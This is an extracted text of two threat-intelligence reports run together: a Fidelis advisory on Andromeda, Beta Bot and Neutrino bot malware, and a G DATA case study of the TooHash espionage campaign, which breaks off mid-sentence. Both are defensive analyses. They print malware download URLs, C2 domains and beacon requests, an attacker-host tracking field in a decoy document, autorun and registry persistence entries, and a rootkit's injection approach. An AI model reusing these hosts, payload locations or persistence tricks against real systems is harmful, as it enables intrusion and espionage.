+Backdoor.Win32.Androm +Trojan.Win32.Betabot +Worm.Win32.Dorkbot +Backdoor.Win32.Ruskill +Trojan.Win32.Neurevt +Worm.Win32.Ngrbot +Trojan- +Spy.Win32.SpyEyes +Trojan- +Spy.Win32.Zbot +Backdoor.Win32.Azbreg +Trojan.Win32.Badur +Trojan.Win32.Inject +Trojan.Win32.Sharik +Trojan.Win32.Yakes +Trojan- +Downloader.Win32.Agent +Trojan- +Dropper.Win32.Injector +121.14.212[.]184 +China +Backdoor.Win32.Androm +Worm.Win32.Ngrbot +Backdoor.Win32.Ruskill +Trojan.Win32.Badur +Trojan.Win32.Inject +Trojan.Win32.Yakes +Trojan.Win32.Sysn +155.133.18[.]44 +Poland + Backdoor.Win32.Androm +Worm.Win32.Ngrbot +Trojan.Win32.Badur +Trojan.Win32.Yakes +54.68.121[.]73 +Backdoor.Win32.Androm +(Amazon) + Trojan.Proxy.Win32.Lethic +Worm.Win32.Ngrbot +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 6 of 16 +Manufacturing/Healthcare +Manufacturing/Healthcare/Government +Government +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +54.68.194[.]154 +119.1.109[.]44 +Trojan.Win32.Badur +Trojan.Win32.Inject +Backdoor.Win32.Androm +(Amazon) + Backdoor.Win32.Ruskill +Trojan.Win32.Yakes +China +Backdoor.Win32.Androm +Worm.Win32.Ngrbot +Backdoor.Win32.Ruskill +Trojan.Win32.Badur +Trojan.Win32.Yakes +158.255.1[.]241 +Russia +Backdoor.Win32.Androm +Worm.Win32.Ngrbot +Trojan.Win32.Badur +Trojan.Win32.Yakes +54.191.142[.]124 +Backdoor.Win32.Androm +(Amazon) + Worm.Win32.Ngrbot +Trojan.Win32.Badur +Worm.Win32.Hamweq +Trojan.Win32.Sysn +Government +Risk Assessment +A bot malware has features like anti-reversing, credential stealing/keystroke logging/form grabbing, DNS +changer, process injection, antivirus process killing, blocking of security related websites, backdoor, and +others. They also have features to spread themselves through USB removable drives, social networking +sites, and messaging clients. In addition, they could also infiltrate the network when the victim user visits +a website hosting a browser exploit. +Once the attacker gains control, the infected system could be used to launch Distributed Denial of Service +attacks, spread the bot to other victims, download more advanced malware to perform lateral +propagation, etc. The attackers (Bot Masters/Herders) could also rent their botnets to other +cybercriminals. +Indicators and Mitigation Strategies +This section presents information about some of the servers we have observed hosting and distributing +malware, filename patterns, as well as a triage analysis of various pieces of malware observed delivered +by these servers +Servers observed hosting and distributing malware: +121.11.83[.]7 +155.133.18[.]44 +54.191.142[.]124 +121.14.212[.]184 +155.133.18[.]45 +54.68.121[.]73 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 7 of 16 +119.1.109[.]44 +158.255.1[.]241 +54.68.194[.]154 +117.21.191[.]47 +217.23.6[.]112 +54.69.90[.]62 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +77.87.79[.]128 +Some of the filename patterns observed: +121.11.83[.]7/and40a70.exe +155.133.18[.]45/37a1.exe +155.133.18[.]45/109a7.exe +121.14.212[.]184/ng33.exe +217.23.6[.]112/98.exe +121.11.83[.]7/nut40a71.exe +217.23.6[.]112/330740x.exe +121.11.83[.]7/bet40a71.exe +54.69.90[.]62/330740a71.exe +155.133.18[.]45/51a5.exe +121.14.212[.]184/zpm39a.exe +54.191.142[.]124/zpm37.exe +54.69.90[.]62/dqnew40a81.exe +77.87.79[.]128/37extra.exe +121.11.83[.]7/ng40a71.exe +54.69.90[.]62/bnew40a71.exe +155.133.18[.]45/62.exe +155.133.18[.]45/141a1.exe +54.69.90[.]62/bnew40a85.exe +119.1.109[.]44/and33.exe +158.255.1[.]241/ng38a.exe +Triage analysis of various pieces of malware observed delivered by servers mentioned in this +report: (Please note that the activity in this section has been recorded per initial file infection and not individually per file +downloaded and executed by the initial malware under investigation) +Andromeda +MD5: 036eb11a5751c77bc65006769921c8e5 +This file was observed hosted in the following servers: +1. 119.1.109[.]44/and37.exe (China) +2. 121.14.212[.]184/and37.exe (China) +3. 54.68.121[.]73/and37.exe (US) +File information: +File Name: and37.exe +File Size: 118784 bytes +MD5: +036eb11a5751c77bc65006769921c8e5 +SHA1: +c6966d9557a9d5ffbbcd7866d45eddff30a9fd99 +PE Time: +0x5431A1E4 [Sun Oct 05 19:54:12 2014 UTC] +PEID Sig: +Microsoft Visual C++ 8 +Sections (4): +Name +Entropy MD5 +.text +6.48 +851019d9ac5c3c1853a62535bb42fe25 +.rdata +5.48 +5e0faee1b5962f3b0e7ef0cd07b07d90 +.data +4.99 +87595d36a05bbbfdab643e78f1b1dad4 +.rsrc +6.59 +5923da4653b7fcb4ee9062367873a2ed +The malware appears to implement anti-reversing techniques preventing its executing +inside a virtual machine environment (VME). This malware is believed to be a variant +from the +Andromeda Bot + malware family. +When the file was executed in a Windows 7 system, the following activity was observed: +Domain: +Resolved IP: +POST request: +GET request: +File downloaded: +Full path and name: +Process injection: +a2kiaymoster14902[.]com +121.14.212[.]248 (China) +/bla02/gate.php +54.69.90[.]62/and40a90.exe (US) +b62391f3f7cbdea02763614f60f3930f (msitygyd.exe) +C:\ProgramData\msitygyd.exe +C:\Windows\SysWOW64\msiexec.exe +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 8 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Beta Bot +MD5: 9e8b203f487dfa85dd47e32b3d24e24e +This file was observed hosted in the following servers: +1. 117.21.191.47/betw9.exe (China) +2. 54.191.142.124/bet4.exe (US) +File information: +File Name: betw9.exe +File Size: 379904 bytes +MD5: +9e8b203f487dfa85dd47e32b3d24e24e +SHA1: +de6a4d53b5265f8cddf08271d17d845f58107e82 +PE Time: +0x5414994B [Sat Sep 13 19:21:47 2014 UTC] +PEID Sig: +Microsoft Visual C++ 8 +Sections (4): +Name +Entropy MD5 +.text +6.47 +4e347b4bb29e39a97c5803db1ee53321 +.rdata +1.99 +692d4fc093dc013fa7d86bee7b85c0f9 +.data +4.22 +52daa66602eb4a3aa8effd3a287efbf7 +.rsrc +9b2a41b9bc48ccff04effe10bb0fb839 +.rsrc +6.59 +5923da4653b7fcb4ee9062367873a2ed +The malware did not appear to implement anti-reversing techniques and properly +executed inside a VME. This malware is believed to be a variant from the +Beta Bot +malware family. +When the file was executed in a Windows XP system, the following activity was +observed: +Domain: +Resolved IP: +POST request: +GET request: +File downloaded: +Full path and name: +b.9thegamejuststarted14k9[.]com +116.255.202[.]74 (China) +/direct/mail/order.php?id=9156969 +121.14.212[.]184/ng40a54.exe (China) +fe8c978f05f3a83af7c8905f94f71213 (mxbrwtqjjvk.exe) +%TEMP%\mxbrwtqjjvk.exe +GET request: +File downloaded: +Full path and name: +121.14.212[.]184/and40a54.exe (China) +7599016887b4d6c0e3bc2ecda983161f (cmqgvyqtpkh.exe) +%TEMP%\cmqgvyqtpkh.exe +Made a copy itself to: +Hash of file copy: +%CommonProgramFiles%\CreativeAudio\ldhkkangs.exe +9e8b203f487dfa85dd47e32b3d24e24e +Registry entrenchment: +Key: +Value Name: +Value Data: +HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run +Key: +Value Name: +Value Data: +HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run +CreativeAudio +C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe +CreativeAudio +C:\Program Files\Common Files\CreativeAudio\ldhkkangs.exe +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 9 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Process Injection: +C:\Program Files\Internet Explorer\iexplore.exe +Screenshot of the registry activity: +Screenshot showing a handle of the malware in the +iexplorer.exe + process: +Neutrino Bot +MD5: 463f7191363d0391add327c1270d7fe6 +This file was observed hosted in the following servers: +1. 121.14.212[.]184/nut40a52.exe (China) +2. 155.133.18[.]45/nut40a52.exe (Poland) +File information: +File Name: nut40a52.exe +File Size: 145408 bytes +MD5: +463f7191363d0391add327c1270d7fe6 +SHA1: +a87c5b6a588ef4b351ce1a3a0fe2b035e685e96c +PE Time: +0x546D0881 [Wed Nov 19 21:15:45 2014 UTC] +PEID Sig: +Microsoft Visual C++ 8 +Sections (4): +Name +Entropy MD5 +.text +6.65 +6fe50af0b54ed30227099ea6b9e7178b +.rdata +5.54 +43ff7c660e83eeff9a7db4abf0ceab04 +.data +5.74 +e19f755461a13879499bd1e8e7471807 +.rsrc +7.66 +399357dac81db1ae19c69e8a2b7e5311 +The malware appears to implement anti-reversing techniques preventing it from properly +executing inside a VME. In a bare-metal system, the malware worked properly. This +malware is believed to be a variant from the +Neutrino Bot + malware family. +When the file was executed in a Windows 7 system, the following activity was observed: +Domain: +Resolved IP: +POST request: +Data: +nutqlfkq123a10[.]com +121.61.118[.]140 (China) +/newfiz3/tasks.php +ping=1 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 10 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Server response: pong +POST request: +/newfiz3/tasks.php +Data: +getcmd=1&uid=[removed]&os=Win+7+Enterprise+(x64) +&av=Symantec+Endpoint+Protection&nat=yes&version=3.2.1 +&serial=[removed]&quality=0 +POST request: +Data: +/newfiz3/tasks.php +taskexec=1&task_id=1416470040933917 +GET request: +File downloaded: +Full name: +54.69.90[.]62/330740a91.exe +b21e4c8f73151d7b0294a3974fe44421 +330740a91.exe +Made a copy itself to: +Hash of file copied: +%APPDATA%\Roaming\WIN-S0MT3UJUS2O\splwow64.exe +463f7191363d0391add327c1270d7fe6 +Created file: +File hash: +C:\ProgramData\bett2f00\hemxccape.exe +9cf7d079713fdf715131e16b144d3f52 +Created file: +File hash: +C:\ProgramData\msitygyd.exe +2983d957d4cdd9293682cfaf21147d07 +Created file: +File hash: +%TEMP%\7403542.exe +72380a9fcf7486bb731606d4f4c13f27 +Created file: +File hash: +%TEMP%\7395367.exe +f220f0a48885bafc29b31fb7228cc4bb +USB drive infection: +Created file: +Full path and name: +File contents: +c1fa3e4ee1e2e5b088bc657b0b5a3b8e +[USB_DRIVE]\autorun.inf +[autorun] +OPEN=WinSystemKB001.exe +action=Run +Created file: +Full path and name: +Note: +463f7191363d0391add327c1270d7fe6 +[USB_DRIVE]\WinSystemKB001.exe +This is a copy of original file executed. +Registry entrenchment: +Key: +Value Name: +Value Data: +HKCU\Software\Microsoft\Windows\CurrentVersion\Run +A38973873873 +C:\ProgramData\bett2f00\hemxccape.exe +Key: +Value Name: +Value Data: +HKCU\Software\Microsoft\Windows\CurrentVersion\Run +splwow64.exe +Key: +Value Name: +HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run +%APPDATA%\Roaming\WIN-S0MT3UJUS2O\splwow64.exe +172157644 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 11 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +Value Data: +Process Injection: +C:\ProgramData\msitygyd.exe +C:\Windows\SysWOW64\WerFault.exe +Screenshot showing a handle of the malware in the +WerFault.exe + process: +Screenshot of related processes running in the victim system: +Andromeda Bot +MD5: 13475d0fdba8dc7a648b57b10e8296d5 +This file was observed hosted in the following servers: +1. 117.21.191[.]47/and40a37.exe (China) +2. 54.68.121[.]73/and40a37.exe (US) +File information: +File Name: and40a37.exe +File Size: 122368 bytes +MD5: +13475d0fdba8dc7a648b57b10e8296d5 +SHA1: +feed5337c0a3b1fd55c78a976fbd5388512a22e1 +PE Time: +0x54636BD2 [Wed Nov 12 14:16:50 2014 UTC] +PEID Sig: +Microsoft Visual C++ 8 +Sections (4): +Name +Entropy MD5 +.text +6.42 +c93f36300bb882b4671b7ef0a8bd4fba +.rdata +5.43 +55af9f1d8e50e49fdf10742179486281 +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 12 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +.data +.rsrc +5.32 +6.94 +1b24669aa9245cef2358a9d76dab97be +4f0f11c52935735aa0e65f04b95ed208 +The malware appears to implement anti-reversing techniques preventing it from properly +executing inside a VME. In a bare-metal system, the malware worked properly. This +malware is believed to be a variant from the +Andromeda Bot + malware family. +When the file was executed in a Windows 7 system, the following activity was observed: +Domain: +Resolved IP: +POST request: +a2kiaymoster14902[.]com +121.14.212[.]248 (China) +/bla02/gate.php +Made a copy itself to: +Hash of file copied: +C:\ProgramData\msitygyd.exe +13475d0fdba8dc7a648b57b10e8296d5 +Registry entrenchment: +Key: +HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ +Value name: +172157644 +Value data: +C:\ProgramData\msitygyd.exe +Key: +HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\ +CurrentVersion\Policies\Explorer\Run +Value name: +Value data: +172157644 +C:\ProgramData\msitygyd.exe +Process Injection: +C:\Windows\SysWOW64\msiexec.exe +The malware appears to have rootkit functionality. The hidden +WinDefend + service points +to the following DLL: +C:\Program Files (x86)\Windows Defender\mpsvc.dll +. The system +was found to have a valid +mpsvc.dll + file under the +C:\Program Files\Windows +Defender\ + directory. The following screenshot show GMER detecting the hidden service: +The following is a summary of all the domains and IPs observed during the analysis of the +selected malware: +a2kiaymoster14902[.]com - 121.14.212[.]248 (China) +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 13 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +54.69.90[.]62/and40a90.exe (US) +b.9thegamejuststarted14k9[.]com - 116.255.202[.]74 (China) +121.14.212[.]184/ng40a54.exe / 121.14.212[.]184/and40a54.exe (China) +nutqlfkq123a10[.]com - 121.61.118[.]140 (China) +For information about hashes related to this activity, please look at the spreadsheet enclosed with this +report which contains relationships between servers and hashes. +Further Analysis And Correlation +The following diagram illustrates the relationship between some of the malicious servers, malware +hosted/distributed, and vertical markets: +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 14 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +The following diagram is based on the analysis/execution of some of the malware hosted and distributed +by the malicious servers. It illustrates the relationship between some of the malicious servers, locations, +malware hosted/distributed, and malicious servers to which the malware beacons to with POST requests +and to download additional malware: +The Fidelis Take +This paper highlights campaigns that has compromised systems at significant enterprises worldwide, +utilizing various bot malware. We are publishing these indicators so others in the security research +community can monitor for this activity and potentially correlate against other campaigns and tools that +are being investigated. +General Dynamics Fidelis + advanced threat defense product, Fidelis XPS +, detects all of the activity +documented in this paper. Further, we will continue to follow this specific activity and actively monitor the +ever-evolving threat landscape for the latest threats to our customers + security. +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 15 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +www.fidelissecurity.com +www.threatgeek.com +@FidSecSys ++1800.652.4020 +References +1. Neutrino Bot (aka MS:Win32/Kasidet), June 2014: +http://malware.dontneedcoffee.com/2014/06/neutrino-bot-aka-kasidet.html +2. Renting a Zombie Farm: Botnets and the Hacker Economy, August 2014: +http://www.symantec.com/connect/blogs/renting-zombie-farm-botnets-and-hacker-economy +3. DorkBot, a Twin Botnet of NgrBot, August 2014: http://blog.fortinet.com/post/dorkbot-a-twin-botnet-ofngrbot +4. Big Box LatAm Hack (1st part - Betabot), January 2014: +http://securelist.com/blog/research/58213/big-box-latam-hack-1st-part-betabot/ +5. A Good Look at the Andromeda Botnet, April 2014: https://blog.fortinet.com/post/a-good-look-at-theandromeda-botnet +6. CVE-2013-2729 and Andromeda 2.9 - A Massive HSBC themed email campaign, June 2014: +http://stopmalvertising.com/spam-scams/cve-2013-2729-and-andromeda-2.9-a-massive-hsbcthemed-email-campaign/andromeda-botnet.html +7. Beta Bot + A Code Review, November 2013: http://www.arbornetworks.com/asert/2013/11/beta-bota-code-review/ +8. Athena, A DDoS Malware Odyssey, Nov 2013: http://www.arbornetworks.com/asert/2013/11/athenaa-ddos-malware-odyssey/ +9. Andromeda Botnet Gets an Update, July 2013: http://blog.trendmicro.com/trendlabs-securityintelligence/andromeda-botnet-gets-an-update/ +10. New Commercial Trojan #INTH3WILD: Meet Beta Bot, May 2013: https://blogs.rsa.com/newcommercial-trojan-inth3wild-meet-beta-bot/ +11. A new bot on the market: Beta Bot, May 2013: https://blog.gdatasoftware.com/blog/article/a-new-boton-the-market-beta-bot.html +12. Andromeda Botnet Resurfaces, March 2013: http://blog.trendmicro.com/trendlabs-securityintelligence/andromeda-botnet-resurfaces/ +13. Fooled by Andromeda, March 2013: http://www.0xebfe.net/blog/2013/03/30/fooled-by-andromeda/ +14. Botnets Die Hard - Owned and Operated + Defcon 20: July 2012: +https://www.defcon.org/images/defcon-20/dc-20-presentations/Sood-Enbody/DEFCON-20-SoodEnbody-Botnets-Die-Hard.PDF.pdf +15. A Chat With NGR Bot, June 2012: http://resources.infosecinstitute.com/ngr-rootkit/ +16. Analysis of ngrBot, August 2011: http://stopmalvertising.com/rootkits/analysis-of-ngrbot.html +Copyright + 2014 General Dynamics Fidelis Cybersecurity Solutions +Threat Advisory #1014 +Page 16 of 16 +Rev. 1.1 2014-12-12 +Bots, Machines, and the Matrix +G DATA +SECURITYLABS +CASE STUDY +OPERATION +TOOHASH +HOW TARGETED ATTACKS WORK +G DATA SecurityLabs Case Study +CONTENTS +Executive Summary.......................................................................................................................................................................... 2 +The Malware used +Information Stealing +Campaign Analysis ........................................................................................................................................................................... 3 +Targets +Spear Phishing Campaign +The Exploit used +Tracking System +Malware Analysis 1: +Cohhoc +, the RAT ...................................................................................................................................... 5 +Components +Variants +Persistence +Features +Obfuscation Layer +Network Communication +Malware Analysis 2: +DirectsX +, the Rootkit ............................................................................................................................... 9 +Dropper +Binary Signature +The Driver +Injected dll +Command and Control Servers ................................................................................................................................................... 11 +Attribution ........................................................................................................................................................................................ 12 +Conclusion ........................................................................................................................................................................................ 12 +Appendix: IOC .................................................................................................................................................................................. 13 +Hashes +Cohhoc File names +DirectsX - File names +DirectsX - Device +DirectsX - Symlink +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Executive Summary +The experts of G DATA +s SecurityLabs discovered a cyber-espionage campaign that perfectly exemplifies the way +how targeted attacks work. The purpose of this campaign was to steal valuable documents from the targeted +entity. We entitle this operation +TooHash +The attackers + modus operandi is to carry out spear phishing using a malicious Microsoft Office document as an +attachment. The attackers do not choose their targets indiscriminately, which we derive from the fact that they +sent specially crafted CV documents, probably to human resources management employees. Naturally, the +recipients are inclined to open such documents on a daily base. +The majority of discovered samples were submitted from Taiwan. As part of the documents are in Simplified +Chinese which is used in the Chinese mainland and others in Traditional Chinese which is used in Hong Kong, +Macao and Taiwan, these malicious documents might have been used against targets in the whole Greater China +area. +The Malware used +The attached documents exploit a well-known and rather aged vulnerability (CVE-2012-0158) to drop a remote +administration tool, or RAT for short, onto the targeted user +s computer. During the campaign, we identified two +different pieces of malware. Both include common cyber-espionage components such as code execution, file +listing, document exfiltration and more. +We discovered more than 75 command and control servers, all used to administrate infected machines. The +servers were mainly located in Hong Kong and the USA. Furthermore, the administration panel +s language, used +by the attackers to manage infected systems, was partly written in Chinese and partly in English. +The exploit used by the attackers is identified and blocked by G DATA +s Exploit Protection technology and +G DATA +s security solutions detect the dropped binaries as Win32.Trojan.Cohhoc.A and Win32.Trojan.DirectsX.A +respectively. +Information Stealing +Nowadays, trade secrets describe one of the major values of almost every company. Therefore, begrudged +competitors may be tempted to steal valuable sensitive information for their purposes. The leak of sensitive +documents can be a disaster for a company and lead to large financial losses. Furthermore, governmental entities +use sensitive, private or classified documents. Intelligence agencies may be interested to obtain such documents. +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Campaign Analysis +Targets +The analyzed samples used in the +TooHash + campaign were Microsoft Office documents, and were submitted to +us from a Taiwanese customer. +An indication leading to the target area is one of the documents used by the attackers, which contained the string + which means +end of the year 102 +. The official calendar used in Taiwan starts in 1912 (year 1), so +the year 102 is the year 2013 according to the Gregorian calendar (1911+102=2013). +We conclude that the targets are entities located in the Greater China area and on the name of another document +used by the attacker called +.doc which translates to +resume of Li Hui +Another lead, suggesting that the attacks occurred in the Greater China area, is the fact that the majority of +samples available on VirusTotal were originally submitted from Taiwan. +The DNS-name of the C&C server contained information about affected companies. Here is a list of some targeted +entities: +Public research organization +Space research organization +Telecom companies +Private companies +Spear Phishing Campaign +To drop the malware onto the targeted computer and to control the system, the attackers chose to carry out a +spear phishing campaign. This campaign comprised a Microsoft Office document being sent to the victim. A +probable entry point for a manipulated CV would be an HR department. If the document is opened with an +outdated Microsoft Office version, malware is installed by exploiting vulnerability CVE-2012-0158. +To appear credible, the attackers selected the targeted users and the type of the attached documents cleverly. For +example, a Microsoft Office Word document called resume of Li Hui.doc. The document title as well as +the content was written in Simplified Chinese. The titles of the attacking documents involved are as follows: +.xls (file list) [Simplified Chinese] +.doc (resume of Li Hui) [Simplified Chinese] + 102 +.xls (End of the year 102, year 103 Spring Menu) [Traditional Chinese] +The Exploit used +To explain the exploit used, we have a look at the Word document, the ostensible CV. The mentioned exploit +causes Microsoft Word to crash, which might alert attacked users just right away. In our case, the attackers crafted +their malicious document in a special way to conceal the software crash: The malicious .doc causes a crash, but +moments after the crash a legitimate Word session opens up and, to the user, everything appears to be normal. +Nevertheless, cautious users might suspect malicious actions behind such activities and notify security staff. +The CV that comes with the legitimate Word document (Wo.doc) is written in Chinese characters and style used +in the Chinese mainland. Nevertheless, this sample has also been submitted to us from Taiwan. +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Screenshot 1: Screenshot of the legitimate document which opens after +resume of Li + exploited Word +Tracking System +The resume visible to the user (Wo.doc) holds a tracking mechanism: Li Hui +s picture, visible in the document as +the blank square on the right hand side, is not stored locally but stored on the Internet. The following tag, inside +the document, reveals this function: +INCLUDEPICTURE +"http://mymail2.kmdns.net/track/ms.asp?key=jianli&AAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&" \* +MERGEFORMAT \d +As soon as the document is loaded, a network query is performed and notifies the attacker about the successful +exploit and the availability of a newly infected machine. +We identified two types of malware used to administrate the infected machines: Cohhoc and DirectsX. The first +one is a +classic + Remote Administration Tool. The second one is more advanced and of a different kind, the +malware is a rootkit. It is executed in kernel mode. +The RAT and the rootkit both share the same command and control infrastructure. +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Malware Analysis 1: +Cohhoc +, the RAT +Components +The malware is divided into three parts: + Component 1: the dropper, used to install the second component into a specific directory and to execute it. +This first file is removed after the execution of the second component; + Component 2: a binary, used to unpack the third component and to execute it; + Component 3: the payload; this is the real malicious part, the core of the malware. +The second component is installed into a subfolder of the directory %APPDATA% (for example in +%APPDATA%\Microsoft\). Known file names for the files used during the campaign discussed: +svchost.exe and conime.exe. +The second component works similarly: + It decrypts the payload. The payload is encrypted with AES. We identified different keys for different +samples. + It then loads the decrypted payload into the memory. Once decrypted, the payload is a Windows dynamic +library (.dll). + It executes the loaded library. +In case you are interested in information regarding the unpacking of this malware, please feel free to contact us +using toohash.securityblog@gdata.de +Variants +During the TooHash campaign, we were able to identify two variants of +Cohhoc +. Those two versions can be +distinguished by looking at the creation of the respective mutex after the malware is started: + H2_COMMON_DLL (before September 2013) + NEW_H2_COMMON_DLL (after September 2013) +Screenshot 2: Mutex creation +The main difference between the two malware variants is the handling of the payload (component three). In the +earlier version, the payload is located within a resource inside component two. In the later version, the payload is +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +an additional file. This additional file is stored in the same directory as the second component and its name is +brndlog. +As small as this difference seems to be for a normal computer user, from a malware analyst +s point of view, it is a +huge difference. If, in the first case, the sample was found within a sample database, the analyst would be able to +extract the payload and to analyze it right away. However, in the second case, the analyst cannot extract and +analyze the payload at all. In this context, the second component alone is rather useless; one needs to find the +binary which installs the payload. Furthermore, it is rather complex to create signature detection for an encrypted +file, such as the payload discussed. +Persistence +Persistence is ensured by the creation of a shortcut file (.lnk) +in the Start Menu folder. This shortcut is labeled as +Internet Explorer .lnk. The blank space just +before the file name extension was inserted to trick the user. +The text looks exactly like the original without the additional +space. Furthermore, it is not only the file +s name which +sidetracks, but also the icon used for this link comes in the +disguise of Microsoft +s Internet Explorer. The screenshot +below reveals that the actual file behind this shortcut points +to a different program: conime.exe: +Features +The +Cohhoc + malware is a Remote Administration Tool and +is able to: +execute commands or scripts; +download files; +upload files; +collect information about the infected system, for +example hostname, username, version of the +operating system, installed software; + find specific documents in order to send them to the +command and control servers. +Screenshot 3: Shortcut, used to guarantee persistence +Within the samples, we found two different hardcoded command and control servers and a feature to easily +choose an alternative server. If the file %APPDATA%\Adobe\ActiveX.dat exists on the system, the +malware uses the server listed in this file instead of the hardcoded servers. The content in the file must use the +obfuscation system described in the next chapter. +This approach, using an extra file with server information, proves to be particularly useful for the attackers, as they +do not have to transmit new payload to the infected system. Furthermore, it keeps analysts in the dark about +additional C&Cs in case they only see the .dat file. This file alone is rather useless. We have seen the same +technique when looking at the differences between the two malware variants before. +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Obfuscation Layer +The +Cohhoc + malware uses an obfuscation layer, to disguise the malware and to complicate the analysis. The +obfuscation is used: + to encode the command and controls; + to encode the data sent to the command and controls (information and documents); + to decode the data received from the command and controls (the commands). +Screenshot 4: Algorithm used to encode the data +Screenshot 5: Algorithm used to decode the data +This algorithm can easily be adapted in C language. Fellow researchers are welcome to receive the code after +contacting samplerequest@gdata.de. +To be readable and easily usable, the base64 encoded data (in binary format) is converted into ASCII. Here is an +example to decode a command and control: +paul@gdata:~$ echo 3d3duIWRvYmVzZXJ2aWNlbi5ldE= | base64 -d | +./obfuscation +www.adobeservice.net +Network Communication +The malware uses HTTP to communicate to the command and control servers. Here is an example of a request +performed by an infected system: +/CgAAAAAAAABhAAAAYQAAAMjAxNCA1MiRgNzEzIDMzNAxhcHRvcExhYkAAAAAADGFwdG9wTGF +iXHBhdWxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABdpbmRvd3NY +UEAAADEwHHExHHEwAAAAAAo +HTTP/1.1 +X-MU-Session-ID: 765592219 +Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* +Accept-Language: en-us +User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; +InfoPath.2; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR +3.5.30729; .NET4.0C; .NET4.0E) +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Host: www.adobeservice.net +Connection: Keep-Alive +Cache-Control: no-cache +Pragma: no-cache +The relevant data is placed after the GET request. Here is the content of the request, decoded by using the code +mentioned above: +Here are the different parts of the data transmitted: +Green: the current date and time; +Pink: the hostname of the infected machine; +Blue: the domain and the username of the infected machine; +Yellow: the version of the operation system; +Red: a hardcoded string which means +end of message +paul@gdata:~ $ cat CgAAAAAAAABhAAAAYQAAAMj[ +] |base64 -d | ./common +cat -e +M-^B^@^@^@^@^@^@^@X^@^@^@X^@^@^@2014 52d 713 +334LaptopLab^@^@^@^@^@LaptopLab\paul^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@ +^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@^@WindowsXP^@^@^@10\11\10^@^ +@^@^@$ +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +Malware Analysis 2: +DirectsX +, the Rootkit +Dropper +The dropper is used to install two files and the persistence mechanism. The two files are DirectsX.sys (the +malicious driver) and directsx (without any extension). The second file is the encoded payload used by the +driver. +The persistence mechanism is realized by the creation of a service. The installed file and the registry modifications +are stored in a resource within the dropper. Here is a screenshot of the registry key created: +Screenshot 6: Persistence mechanism +Binary Signature +The dropper and the driver are both signed by a legitimate certificate. The certificate is owned by +Jiangxi you ma +chuang da software technology Co., LTD +, has been reported stolen and is known to have been used in APT +attacks. Here is a screenshot of the certificate: +Screenshot 7: Use of a stolen certificate +Copyright + 2014 G DATA Software AG +G DATA SecurityLabs Case Study +The Driver +The main purpose of the driver is to decode the content of the directsx file and to inject the payload into a +userland process. The algorithm used to encode the data in the file is a XOR followed by a SUB: +Screenshot 8: Obfuscation algorithm +The values of the XOR and the SUB can be different. The decoding file contains the configuration (command and +control) and a library (.dll) to inject in userland. Here is an example of configuration: +Screenshot 9: Example of configuration +Actually, the library is injected into the process of BitDefender (seccenter.exe), ZoneAlarm +(svchost.exe) or 360 (360tray.exe), which means that three popular security products are abused. If the +processes are not running on the infected system, the injection is performed into explorer.exe. To perform the +injection, the driver uses 